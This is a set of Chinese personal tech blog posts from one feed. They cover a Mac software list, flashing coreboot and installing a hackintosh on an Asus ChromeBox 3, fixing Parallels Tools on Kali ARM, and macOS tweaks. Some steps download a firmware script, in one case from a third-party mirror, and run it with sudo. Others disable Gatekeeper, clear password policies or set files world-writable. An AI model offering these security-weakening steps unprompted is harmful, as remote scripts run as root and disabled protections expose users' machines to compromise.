磨刀不误砍柴工,工欲善其事必先利其器,正好最近国光我换了 M1 Pro 的 14 寸的 Macbook Pro 监管机了,真香呀!新的电脑到了又得安装一堆软件,最后为了自己也为了方便大家快速查看,国光我还单独写了个前端页面。

背景介绍

本次前端页面还是一如既往的国光的界面设计风格,经典的 Boostrap 框架写的:

https://www.sqlsec.com/macsoft.html

软件架构

Apple Silicon 是 Apple 计算机芯片内部使用的处理器架构。M1 和 M2 处理器之类的处理器都使用 Apple Silicon,这标志着与 Apple 使用英特尔 CPU 的背道而驰。

传统的 MacBook 和 iMac 设备以前使用 intel 的 x86 处理器架构,但苹果现在的 Apple Silicon 则是 Arm 架构,这意味搭载 Apple Silicon 的芯片将会有更高的能效比,续航更久,发热更低。

所以我们使用 Apple Silicon 芯片的产品的时候,尽量也要使用 Arm 架构编译优化的软件,能少用 Rosetta 转编译就少用一点,对自己的 MacBook 好一点!

为了方便我们查看软件的架构,这里推荐一个 Silicon Info 软件:

社交娱乐

主要是一些上班摸鱼类的软件,IM 通讯、社交、冲浪、音乐、视频类软件。

文档办公

主要是日常文档办公用到的软件,可以不用,但不能没有:

编程开发

国光不是一个专业的 Coder,所以这块软件并不是很多:

媒体设计

国光我不是一个设计师,日常也就录制视频,简单修修图,轻度剪辑视频一下:

系统增强

下面是一些国光经常使用的系统增强软件,整体都比较好用方便:

资源下载

妈妈再也不用担心我资源下载比较慢了:

浏览器

浏览器多用起来就是爽,每天换着用都用不完呀:

虚拟远程

主要是一些虚拟机、Docker 还有一些远程软件:

信息安全

下面是国光安装的一些安全工具,当然有些安全工具不适合做成应用程序,下面仅供大家参考一下吧:

监控测试

平时测试测试一下硬盘速度、看看 CPU 占用,瞅一瞅风扇转速、顺便跑个分:

效率规划

磨刀不误砍柴工,工欲善其事必先利其器,这些是国光认为比较提高效率的软件:

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>磨刀不误砍柴工,工欲善其事必先利其器,正好最近国光我换了 M1 Pro 的 14 寸的 Macbook Pro 监管机了,真香呀!新的电脑到了又得安装一堆软件,最后为了自己也为了方便大家快速查看,国光我还单独写了个前端页面。</p>
ChromeBox 小主机黑苹果安装及双系统引导教程 https://www.sqlsec.com/2023/07/macbox.html 2023-07-31T07:23:25.000Z 2024-05-23T00:03:26.000Z

哈喽,大家好呀,我是国光,好久没更新视频了,最近有点感冒,音色有一点变化,大家习惯一下哈!话不多说,开始正题,本期呢给大家带来一个性价比很高的小主机,华硕的 ChromeBox3 CN65 。我会在本视频中教大家如何安装黑苹果、以及多系统共存。让大家充分榨干这个小主机的性能,大家的硬币准备好了吗?我要开始装逼了!

外观配置

首先我们来看看外观,作为一个小主机,他的外观不算很迷你,但是呢接口在小主机中算是比较丰富的了,这个1个全功能的 Type-C 接口,不仅可以充电也支持DP协议视频输出,整机接近一个正方形,边长等于1个iPhone7 的长度。

配置这块主要就是使用了 i7-8550U 的处理器,实际上是一个 7代架构的马甲U,经典的 4核8线程,祖传的 14nm 技术,内存最高支持到 DDR4 2400 频率,核显的型号为 UHD 620

配置虽然不算高,但是海鲜市场上目前可以以不到 800 元的价格,买到一套 16GB + 64GB 的配置,开箱即用,这个价钱钱要啥自行车呀。

刷 BIOS

因为这种小主机出厂就是自带的 ChromeOS 的,所以 BIOS 也是谷歌定制的 ,发文章之前,闲鱼老哥还是有时间帮忙刷 BIOS 的,现在呢大概率只能我们自己手动来刷一下 BIOS 了,否则没法正常安装 Windows 以及 macOS 等其他操作系统。

我手上新买的这台也是自带的 ChromeOS 系统,简单总结一下吧:总之不太适合国人使用,虽然外观看上去也挺小清新的,动画过渡也还算丝滑,也支持安装 Android 和 Linux 应用,但是因为都懂的原因,我们使用起来并不方便,国光我这里建议我们后期可以考虑刷更适合国人使用的 FydeOS 操作系统。

刷 BIOS 的话我们可以直接看 B 站 UP 咖啡有毒你还喝 的教程视频:

8代i7的NUC主机-华硕ChromeBox3:从ChromeOS到Windows10刷机保姆级教程,适用大多数Chromebook

下面国光也简单记录一下如何从原始的 ChromeBox3 开始刷第三方 BIOS。

进入开发者模式

关机,开机的时候按住 reset 键 (卡针短的话可以拆开插入翘片垫着也可以)再按电源键开机后屏幕会进入恢复模式:

看到上面这个界面按 Ctrl + D 进入、开发者模式:

友情提示:国光换了两把机械键盘在这个开发者模式都没有反应,然后美团下单了 30多块钱的飞利浦薄膜键盘,发现可以正常操作了,这个问题确实很玄学。

根据提示再按一下 reset 键 ,然后主机会自动重启到下面这个界面:

接着提示正在切换到开发者模式:

耐心等待一会儿,最上方会有一个进度条,能看到剩余时间,一般 5-10 分钟左右:

解除 BIOS 写保护

期间如果卡主的话都可以按 Ctrl + D 跳过,接着来到 ChromeOS 系统欢迎界面,连接键鼠和 WiFi 选择左下角的访客模式:

接着进入系统后,使用快捷键 Ctrl + Alt + T 调出终端窗口,然后输入命令:

crossystem

在末尾看到 wpsw_cur 的值为 1,表示这个 BIOS 是有写保护的(为 0 则无保护):

这机器解除写保护的方法是物理方法,直接拆掉写保护螺丝,右下角圈出来地方就是写保护螺丝,直接拆掉然后重启就可以:

这次重启风扇转的会比较厉害,还会滴滴叫记下,然后进入系统后再次运行命令检查下,已经没有写保护了:

刷入第三方 BIOS

备份当前 BIOS

cd ~/Downloads && sudo flashrom -r backup.rom

插上 U 盘,将备份的 backup.rom 备份到 U 盘里面:

脚本刷入 BIOS

如果大家网络可以正常访问谷歌的话,建议使用官方的原版脚本,网络不好的话就使用国内的脚本:

# 官方国外原版脚本:cd; curl -LO mrchromebox.tech/firmware-util.sh && sudo bash firmware-util.sh# 国内镜像脚本(感谢ELAO大佬):cd; curl -LO https://gitee.com/elao/mr-chromebox-scripts/raw/master-2023-5/firmware-util.sh && sudo bash firmware-util.sh

必须以 普通/非 root 用户的身份执行脚本。以 root 身份运行会破坏一切。在运行下面的脚本 CMD 之前,请勿运行 sudo 或者 su

下面记录一下脚本使用的细节操作:

接着输入 2 然后回车,表示安装完整的 ROM 固件:

刷 ROM 固件会让你无法运行 ChormeOS 是否继续?这里输入 y 继续:

如果你希望继续,手动输入 I ACCEPT 然后回车继续:

接着输入 Y 回车继续:

脚本提示我们备份一下 BIOS,因为之前我们手动备份过了,这里输入 n 不备份,然后回车:

接下来脚本就开始去拉取 BIOS 固件,然后自动刷入了,耐心等待即可:

出现上面绿字提示,表示刷入成功了,我们按 回车键返回主菜单,输入 R 回车,重启电脑:

新的兔子 BIOS

我们刷的是大名鼎鼎的 coreboot 兔子BIOS,看到下面的兔子 Logo 表示我们已经刷入成功了。整个 BIOS 非常简洁感觉,刷入 BIOS 后第一次加载会比较长,耐心等待一会:

如果等很久很久还没变化的话那就手动重启一下电脑吧,这样就正常进入到 BIOS 了,可以看到我们刷的是最新的 4.20.1 BIOS:

接下来的操作就简单了,和正常小主机安装系统差不多了,我们可以搞个自己的 PE U 盘随便安装 Windows 或者 Linux 系统了。

配置升级更换

因为自带的 64GB SATA 协议的硬盘太小速度也太慢了,我们的国产颗粒也崛起了,所以我们直接安排个 1 TB 的长江颗粒的 NVME 硬盘。因为又有黑苹果下各种功能的完美追求,所以我们手动来使用转接卡来安装一下苹果的拆机网卡 BCM94360CS2,转接卡和网卡的链接可以参考下面的闲鱼,总价大概 50 多块钱:

一顿操作后,我们的小主机最终的内部配置如下:

制作启动 U 盘

下载镜像

本镜像取自于远景这个 349336500 老哥的帖子:https://bbs.pcbeta.com/viewthread-1948333-1-1.html

国光我相当于帮大家白嫖了,有能力的网友可以去原贴去支持他一下哈,下面是白嫖的一些镜像网盘信息:

# 天翼云:macOS Ventura 13.1 (22C65):https://cloud.189.cn/t/YZFzeqU3mmie (访问码:vhy3)macOS Ventura 13 (22A380):https://cloud.189.cn/t/ZzQraemMz2Av (访问码:1xur)# 阿里云盘:macOS Ventura 13.4.1 (22F82):https://www.aliyundrive.com/s/gDSytaiiVfamacOS Ventura 13.4 (22F66):https://www.aliyundrive.com/s/LEvFAArLZ5ZmacOS Ventura 13.3 (22E252):https://www.aliyundrive.com/s/atvncNVMJNcmacOS Ventura 13.2 (22D49):https://www.aliyundrive.com/s/LL6inEwVUdMmacOS Ventura 13.1 (22C65):https://www.aliyundrive.com/s/kydfwX7Y1oQmacOS Ventura 13 (22A380):https://www.aliyundrive.com/s/BXoD7NgkMBz# 本站直连:https://pan.mediy.cn/%F0%9F%93%81Files/macOS/macOS%20Ventura%2013.4.1%20(22F82)(密码:mediy)

截止到 2023 年 07 月 30 日,我们下载最新的 macOS 13 稳定版本:macOS Ventura 13.4.1 (22F82) OC 0.9.3 and Clover5152 and Win11PE.dmg

U 盘刻录

写入镜像实际上也有很多工具,国光这里推荐一个后来居上的工具 balenaEthcher

官方支持 Windows、macOS、Linux 的版本,下载即可使用。下面简单说下安装制作镜像的方法:

这个软件使用也比较简单,就是上图标记的三步,是不是很简单呢?

由于国光我手上的这个 U 盘是固态改的,所以几分钟时间就写入完成了:

替换 EFI 文件夹

去 Github 最新的 https://github.com/sqlsec/Asus-ChromeBox-i7-8550U/releases 下载 EFI 文件,然后使用 DiskGenius 删除自带的 EFI 文件,将我们下好的 EFI 文件拖入到 U 盘的 EFI 分区下:

安装 macOS

系统安装

准备好上述工作后,话不多说,我们直接开始安装 macOS 把,首先进 BIOS ,从 U 盘启动:

然后选择「Install macOS Ventura」:

看到下面这个界面,那么恭喜你很顺利呀,这是苹果的恢复模式,我们手动选择「磁盘工具」:

然后点击「显示所有设备」:

选择 APFS 格式,方案为 GUID 分区图,自定义磁盘名称后点击「抹掉」:

抹盘完成后关掉窗口:

然后点击「安装 macOS Vrntura」:

剩下的就是基本操作了:

不懂怎么操作的网友可以参考我单独的文章:国光的黑苹果安装教程:手把手教你配置 OpenCore

添加 EFI

因为现在的 EFI 放在我们的 U 盘的 EFI 分区下,这样不能每次都插着 U 盘启动吧,所以我们得到 PE 下将 U 盘里面的 EFI 文件夹放到 1TB 硬盘的 EFI 分区下:

这样可以拔掉 U 盘,正常进入 macOS 系统啦:

安装 Windows

安装 Windows 这里就比较简单了,国光我这里打算做四系统同时引导,计划 macOS 占用 512GB、其他 512GB 存储用于安装其他操作系统。

磁盘切割

选择整个磁盘,选择分区:

选择「添加分区」:

我这里只给 macOS 留了 512GB,然后新的分区临时使用 ExFAT 格式,方便我们后面到 PE 下区分:

安装 Windows

U 盘还有很大的空间,不能浪费,我们来手动创建 1 个分区:

然后后面就是基本操作了吧,我们使用 WinNTSetup 一键安装系统到我们从 macOS 新分出来的分区即可:

操作完之后我们的双系统引导完成:

相关驱动资料

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>哈喽,大家好呀,我是国光,好久没更新视频了,最近有点感冒,音色有一点变化,大家习惯一下哈!话不多说,开始正题,本期呢给大家带来一个性价比很高的小主机,华硕的 ChromeBox3 CN65 。我会在本视频中教大家如何安装黑苹果、以及多系统共存。让大家充分榨干这个小主机的性能,大家的硬币准备好了吗?我要开始装逼了!</p>
Kali 2023.2 安装 Parallel Tools 18疑难解答 https://www.sqlsec.com/2023/07/kali2023.html 2023-07-24T09:19:40.000Z 2024-05-23T00:03:46.000Z

之前在 19 年写过一篇 Parallel Tools 高版本内核的安装失败的解决方法,还有在 21 年写过一篇 Kali 2021.1 安装 Parallel Tools 疑难解答。但是文章都有一点老了,如今 Parallels Desktop 已经出到了 18 的版本,Kali 的版本也到了 2023.2 的版本,而且国光我也换了 MacBook Pro 14 寸 ARM 架构的 CPU,所以感觉还是有必要写一篇文章记录一下的,还可以便帮助后面的读者朋友们,在技术的路上少走弯路。

环境准备

本文所使用的环境信息如下:

  1. Parallels Desktop 18 商业版 18.1.1(53328)版本
  2. Kali Linux 2023.2 ARM 64-Bit 镜像 安装了多个桌面(安装的时候可选的桌面全部勾选了)
  3. MacBook Pro 14-inch ARM M1 Pro CPU + macOS Ventura 13.4.1 系统

以上配置仅供大家参考,理论上环境有稍许差距的话问题也不大。

启动系统

可能是 GNOME 桌面的原因,刚刚安装好 Kali Linux 如没有 PD Tools 的话,打开是直接黑屏或者登录进去也是没法操作的:

所以我们得通过安全模式才可以正常启动系统:

成功进入系统,那么下面就可以手动来安装 PD Tools 了:

初次安装

把光盘挂载到 Kali 虚拟机中,「菜单」-「操作」-「安装 Parallel Tools」,双击桌面上的「光盘」图标就可以成功挂载光盘了(默认顺利的话 不需要双击会自动挂载),接下来根据下面命令走一下常规的安装流程:

# 检测光盘是否挂载成功mount | grep iso9660# 将光盘内容拷贝到自建的文件夹mkdir ~/pdtools && cp -r /media/cdrom0/* ~/pdtools# 安装 Parallel Toolssudo -ichmod -R 777 ~/pdtools && cd ~/pdtools && ./install

然后就进入安装流程了,一直「回车」安装下去,如果没有猜错的话最后会得到这样一个报错:

报错的居然内容如下(这一段是写给搜索引擎爬虫看的,这样别人搜索报错就可以搜索到这篇文章):

An error occurred while installing the following packages:  - linux-headers-6.1.0-kali9-arm64                         - dkms                                                    - libelf-dev                                              - printer-driver-postscript-hp                                                                                      Install these packages manually and start the ParallelsTools installation again.

解决报错

先手动安装一下好安装的包:

sudo -iapt updateapt install dkms libelf-dev -y

接下来的工作重点就是搞定内核头的问题,我们这里缺失的包名为:linux-headers-6.1.0-kali9-arm64

http://old.kali.org/kali/pool/main/l/linux/ 网站里面查找相关的包,下载并安装即可:

# 下载保存为 headers.debwget -O headers.deb http://old.kali.org/kali/pool/main/l/linux/linux-headers-6.1.0-kali9-arm64_6.1.27-1kali1_arm64.deb# 下载对应内核头依赖保存为 common.debwget -O common.deb http://old.kali.org/kali/pool/main/l/linux/linux-headers-6.1.0-kali9-common_6.1.27-1kali1_all.deb# 下载对应内核头依赖保存为 kbuild.debwget -O kbuild.deb http://old.kali.org/kali/pool/main/l/linux/linux-kbuild-6.1_6.1.27-1kali1_arm64.deb# 安装辅助 deb 安装工具apt install gdebi -y# 先安装内核头依赖gdebi common.debgdebi kbuild.deb# 再安装主角 内核头文件gdebi headers.deb# 验证是否安装成功 (这个时候应该提示已经安装成功了)apt install linux-headers-$(uname -r)

成功安装

现在内核头安装配置好后,回到之前的目录,再次运行 ./install 即可:

cd ~/pdtools sudo -i./install

然后就进入安装流程了,一直「回车」安装下去,如果顺利的话会提示安装成功需要重启:

重启一下电脑就可以享受 Parallels Desktop 丝般顺滑了。

还是早期的 GNOME 桌面经典呀,多桌面切换默认桌面命令:

update-alternatives --config x-session-manager

补充一下

这样安装后多装了一个 Linux 内核,启动时还是选择 linux-headers-6.1.0-kali9-arm64 这个内核,不然 PD Tools 还是不能正常使用:

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>之前在 19 年写过一篇 <a href="https://www.sqlsec.com/2019/12/pd.html">Parallel Tools 高版本内核的安装失败的解决方法</a>,还有在 21 年写过一篇 <a href="https://www.sqlsec.com/2021/04/pdtools.html">Kali 2021.1 安装 Parallel Tools 疑难解答</a>。但是文章都有一点老了,如今 Parallels Desktop 已经出到了 18 的版本,Kali 的版本也到了 2023.2 的版本,而且国光我也换了 MacBook Pro 14 寸 ARM 架构的 CPU,所以感觉还是有必要写一篇文章记录一下的,还可以便帮助后面的读者朋友们,在技术的路上少走弯路。</p>
Asus Chromebox 3 CN65 极致性价比小主机黑苹果成果分享 https://www.sqlsec.com/2023/07/chromebox.html 2023-07-18T06:41:15.000Z 2024-05-23T00:04:18.000Z

最近闲鱼上出现了一些原本搭载着 ChromeOS 的洋垃圾设备,性价比真滴很高,本文就是其中一个性价比比较高的小主机:Asus Chromebox 3 CN65,目前闲鱼上价格只要 799 元左右,且国内应该目前也没有人搞定这个黑苹果,于是国光我就出手了。因为目前最新的 4.x BIOS 的问题确实没少折腾,但还是基本上黑苹果成功了,就分享出来了,当然还有一些细节需要留给后人优化。

国光我最近全身心投入到工作,业余也都把精力投在了我的社区建设上。所以真的没太多时间折腾这些东西了,况且:系统只是工具,我们要学会使用系统去创造价值,而不是沉迷如何安装系统上,这句话也送给大家。最后祝你使用愉快!

基本概览

  • 型号:Asus Chromebox 3 CN65 (Teemo)

  • 固件:MrChromebox-4.20.1 07/21/2023 (Coreboot BIOS)

  • CPU:i7 8550U 4C 8T 最大睿频 4.00 GHz Kaby Lake R 架构(移动平台)

  • 核显:Intel UHD 620

  • 接口:全功能 Type-C + DC 供电接口 + HDMI 1.4 + 很多个 USB3.0 接口 + SD 卡槽

  • 电源:官方建议 90W 供电,可 DC 供电也可以 Type-C 供电

  • 硬盘:目前国产的长江存储性价比很高,长江颗粒的 1TB NVME 硬盘

  • 网卡:为了好的黑苹果体验,建议直接换苹果拆机网卡(闲鱼上 50 元左右)

性能测试

Windows 下日常办公外接 4k 显示器工作其实挺不错的:

鲁大师的跑分也是这个小主机该有的水平:

刚到手的时候还跑过 R23,发现短板是散热,容易撞温度墙,所以理论上有好的散热方案,性能还可以提高不少:

驱动概览

目前驱动的完美度(99%+ 完美度):

  • 睡眠唤醒
  • SMBIOS 优化,macOS 下的机型不会干扰影响到 Windows 下机型
  • DP 4k@60 Hz 视频输出
  • HDMI 4k@30 Hz 视频输出
  • HDMI 和 DP 显示器音频正常输出
  • USB 定制全部正常工作
  • 以太网卡正常工作
  • 苹果拆机的无线网卡支持苹果的所有功能
  • 外接双 4k 显示器下, HiDPi 正常,显示效果足够清晰

目前待解决的问题(交给后人解决 国光我没有精力折腾了):

  • 传感器细节有待优化,目前无法在 macOS 下手动调节风扇转速
  • SD 卡槽目前没有驱动,没有精力去研究这个了,理论上可能可以驱动
  • 3.5mm 耳机接口驱动(可以可以考虑使用显示器音频,或者 10块钱 USB 声卡)

驱动细节

整体完美

使用目前最新的 OC 0.9.3 仿造 Macmini 2018 机型,安装了目前官方最新的 macOS 13.4.1 系统:

驱动整体驱动美的,日常办公、写代码、轻度剪辑绰绰有余了:

显示效果

外接双 4k 显示器正常工作,分别工作在 4k@60hz 和 4k@30hz,且 HiDPi 均正常工作,显示效果细腻:

硬件杂项

基本上设备的各个硬件都正常驱动,包括 WiFi、蓝牙、核显、NVME 硬盘等:

其中 USB 接口已经定制好, 使用国光我开源的 EFI 到手直接使用即可:

无线蓝牙

因为换了苹果的拆机网卡原因,所以蓝牙、WiFi、隔空投送、接力、随航、通用控制都是正常驱动的:

有线网卡

目前正常工作,写入了 48:F1:7F:E8:17:AF 虚拟 Mac 地址:

如果要修改为自己网卡的真实 Mac 地址(方法来自于网友 axbby ) 方法如下:

编辑 OC/Kexts/RealtekRTL8111.kext/Contents/Info.plist文件,找到 fallbackMAC 然后把机器底部的 Mac (或者 Windows 下查看也可以) 填进去,像下面这样。(机器底部的 LAN MAC,每 2 位隔开)

<key>fallbackMAC</key><string>48:F1:7F:E8:17:AF</string>

声音输出

这个小主机的 Windows 下 3.5mm 耳机接口的驱动都需要操作一番,所以比较小众,macOS 下暂时没通用方法驱动,可能需要定制啥的,这块就是国光的知识盲区了,不过目前来看使用 10块钱的 USB 声卡,或者显示器自带的声音输出也绰绰有余了:

最后记得使用 MonitorControl 来设置调节显示器的亮度和声音:

硬盘测试

这个小主机的硬盘接口是双协议的,支持 SATA 和 NVME 协议,但是 NVME 协议的硬盘速度有所阉割,不过日常也足够这个小主机使用了:

使用 Sensei 测试的硬盘结果也差不多:

性能表现

Geekbench 6 CPU 单核跑分:1277 多核跑分:3642

单核跑分略高于 Mac Pro 2019 的 W-3233 CPU ,多核跑分也比苹果官方的 Mac mini 2018 要强,整体大概是下面这些设备的性能水平:

Geekbench 6 GPU UHD 620 Metal 跑分:5209 OpenCL 跑分:3819

核显就这个水平了,也不能强求太多,反正日常写代码够用了,也是可以丝滑的解码观看视频的:

温度传感

CPU 的温度、功耗都是可以正常识别到的:

但是风扇转速这块传感器目前没有成功驱动,导致无法获取风扇转速,从而我们也无法手动在 macOS 下设置风扇的转速:

温度表现

全核心满载的话,因为是单热管、单风扇的原因,毕竟容易撞温度墙(很容易接近 100℃),所以会功耗会下降很多(35W -> 20W):

所以这个小主机不适合全核长时间高负荷干活,但是日常办公、写代码、娱乐冲浪这个性能还是绰绰有余的了,就算再不济,当个电视盒子也是很优雅的。

整体总结

  • 优点

    • 性价比很高,甚至高于 NUC 8
    • 华硕也算大品牌,做工扎实
    • 主机足够轻便的同时风扇没啥噪音
    • 接口齐全丰富,足够满足大多人的日常使用
    • 内存、硬盘、网卡均可自行更换,可定制性很高
  • 缺点

    • 可能需要自己刷 Coreboot 第三方 BIOS 有一定门槛

    • HDMI 1.4 接口有点小遗憾,不能跑满 4k @ 60hz

    • 单热管散热有点单薄,好在这个 U 发热不是很大

    • UHD 620 的核显性能比不上 NUC 8 的 lris 锐炬核显

    • 黑苹果完美度目前还比不上 NUC 8(风扇转速、4k 显示细腻度、SD 卡槽驱动)

    总结:总的来说是一个性价比很高的黑苹果小主机,虽然黑苹果完美度不如 NUC8,但好歹也华硕大厂出品,质量做工还是不错的,最关键的是价格便宜,这个价格要啥自行车!

驱动分享

支持一下

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

国光我还重写打赏页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光


亲爱的读者们,在这个信息爆炸的时代,网络安全的重要性日益凸显,但同时,这个行业的挑战和误解也随之而来。作为一名网络安全的忠实守护者,我有幸在这个领域深耕多年,见证了无数技术的进步与变迁。

我始终坚信,知识的力量能够改变世界。因此,我用心制作了网络安全系列课程,不仅希望传授给大家宝贵的知识,更希望激发大家对网络安全的热爱和责任感。现在,我正准备推出第二期课程,并更新备受期待的内网安全教程,这是我对网络安全教育事业的承诺和热爱。

然而,正如大家所知,网络安全行业充满了不确定性和挑战。攻击门槛也在不断提高,即便是有 10 年经验的安全专家,有时也可能无法及时发现最新的漏洞,甚至在外人眼中,他们的努力和成就可能与实习生无异。但我相信,真正的价值和成就,是在于我们对知识的执着追求和对技术的不懈探索。

在完成这些课程后,我将暂时离开网络安全领域,转向其他行业。这不仅是一个艰难的决定,也是一个新的开始。但在此之前,我希望能够完成我的心愿,为大家带来更高质量的课程。

如果您对我的课程感兴趣,或者认同我对网络安全教育的执着和热情,请考虑购买我的课程,支持我的工作。您的支持不仅是对我努力的认可,更是对网络安全教育事业的一份贡献。

感谢每一位读者的陪伴和支持,让我们共同守护这个数字世界的安全!

]]>
<p>最近闲鱼上出现了一些原本搭载着 ChromeOS 的洋垃圾设备,性价比真滴很高,本文就是其中一个性价比比较高的小主机:Asus Chromebox 3 CN65,目前闲鱼上价格只要 <strong>799 元</strong>左右,且国内应该目前也没有人搞定这个黑苹果,于是国光我就出手了。因为目前最新的 4.x BIOS 的问题确实没少折腾,但还是基本上黑苹果成功了,就分享出来了,当然还有一些细节需要留给后人优化。</p> <p>国光我最近全身心投入到工作,业余也都把精力投在了我的<a href="https://web.sqlsec.com/">社区</a>建设上。所以真的没太多时间折腾这些东西了,况且:<strong>系统只是工具,我们要学会使用系统去创造价值,而不是沉迷如何安装系统上,这句话也送给大家。最后祝你使用愉快!</strong></p>
国光的 macOS Ventura 13 优化配置(基于 ARM 平台) https://www.sqlsec.com/2023/07/ventura.html 2023-07-11T02:35:27.000Z 2024-05-23T00:05:00.000Z

历史上国光就有记录 macOS 配置的习惯,之前也写过两篇文章,但是都有点过时了,macOS Ventura 13 变化挺大,正巧最近又入手了 MacBook Pro 14 寸 M1 Pro 的 ARM 芯片的 Mac,所以就单独写了本篇文章记录一下,也顺便给其他网友做个配置参考,让大家少走一点配置环境的弯路。

系统设置

实用命令

  1. 取消 4 位数密码限制
pwpolicy -clearaccountpolicies
  1. 允许安装任意来源的 App
sudo spctl --master-disable
  1. xcode 命令行工具
xcode-select --install
  1. 程序坞自动隐藏加速
# 设置启动坞动画时间设置为 0.5 秒 defaults write com.apple.dock autohide-time-modifier -float 0.5 && killall Dock# 设置启动坞响应时间最短defaults write com.apple.dock autohide-delay -int 0 && killall Dock# 恢复启动坞默认动画时间defaults delete com.apple.dock autohide-time-modifier && killall Dock# 恢复默认启动坞响应时间defaults delete com.apple.Dock autohide-delay && killall Dock
  1. 启动台自定义行和列
# 设置列数defaults write com.apple.dock springboard-columns -int 7# 设置行数defaults write com.apple.dock springboard-rows -int 6# 重启 Dock 生效killall Dock# 恢复默认的列数和行数defaults write com.apple.dock springboard-rows Defaultdefaults write com.apple.dock springboard-columns Default# 重启 Dock 生效killall Dock

个人习惯

输入法

可以考虑再安装个第三方的输入法,目前搜狗输入法在 Mac 上还算是比较老实,可以考虑试试看:

光标响应

重复率最快,,延迟设置最低,这样可以提高工作效率:

三指拖移

触控板干活效率必备,资深 macOS 用户必开的一个隐藏选项:

软件设置

iTerm2

主题选择自带的 「Minima」和「Compact」都还是不错的」:

新建一个自己的配置,并设置为默认「Set as Default」,在新的配置里面可以进行字体相关的设置,字体大小国光设置的是 16 号,使用的是 macOS 自带的 Monaco 高颜值字体:

国光的窗口设置一些喜好:

效果图:

开发配置

🚀

配环境前确保网络是 OK 的,ARM 架构的 MacBook 可以直接使用 iOS 和 iPad OS 上经典的 🚀:

防火墙

